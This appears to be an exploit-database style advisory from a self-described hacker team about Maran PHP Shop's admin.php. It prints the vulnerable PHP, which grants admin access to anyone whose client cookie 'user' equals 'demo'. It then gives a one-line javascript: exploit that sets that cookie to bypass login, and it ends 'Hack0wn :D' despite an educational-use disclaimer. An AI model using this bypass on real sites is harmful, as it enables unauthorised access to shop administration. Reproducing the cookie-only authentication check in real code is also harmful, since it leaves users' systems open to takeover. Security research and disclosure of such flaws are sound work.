Maran PHP Shop (admin.php) Insecure Cookie Handling Vulnerability

                                                # Maran PHP Shop (admin.php) Insecure Cookie Handling Vulnerability
# url: http://www.maran.pamil-visions.com/maranshop.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: /admin.php
vuln code:
<?
$readcookie = $_COOKIE['user'];
if($readcookie!="demo"){echo "error 467. bad login! <a href='login.php'>login here</a>";exit;}
//echo $_COOKIE['user'];
?>

exploit:
javascript:document.cookie = "user=demo; path=/";

Hack0wn :D